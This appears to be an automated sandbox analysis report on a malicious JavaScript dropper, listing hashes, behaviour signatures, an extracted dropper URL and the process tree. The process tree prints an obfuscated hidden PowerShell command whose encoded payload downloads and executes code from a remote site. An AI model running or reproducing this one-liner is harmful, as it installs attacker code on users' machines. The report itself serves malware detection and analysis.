Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-09-2022 16:08

General

  • Target

    fqt145254.js

  • Size

    286KB

  • MD5

    23a177986f5397d5028a1dc587b465f5

  • SHA1

    68085cb719054e73dd3c527578ad7f89960bf649

  • SHA256

    d167ab99ec55cea50a5723c49dcbd0031ede7b21886b32e76bd011a11ee65acb

  • SHA512

    d839b742825a94ad82fe7cf921cb6ac9c0962bae3f0e7b9be8c7598a4f7ff28ce6218f8860f49df3b405aa5428bbba9e3903edf1983a7dcbf9c33e07eee69ddd

  • SSDEEP

    3072:qrjVJySRCL1ddImO3NwSa0wQwRCijyQL7oebGpTLW+B57wtB:qASkdIn9lpQL7oebGRLQB

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://freedompublishingbooks.com.au/index/

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\fqt145254.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3408
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c pOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4072
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4944

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/4944-134-0x000001DD3D710000-0x000001DD3D732000-memory.dmp

    Filesize

    136KB

  • memory/4944-135-0x00007FF8CB920000-0x00007FF8CC3E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4944-136-0x00007FF8CB920000-0x00007FF8CC3E1000-memory.dmp

    Filesize

    10.8MB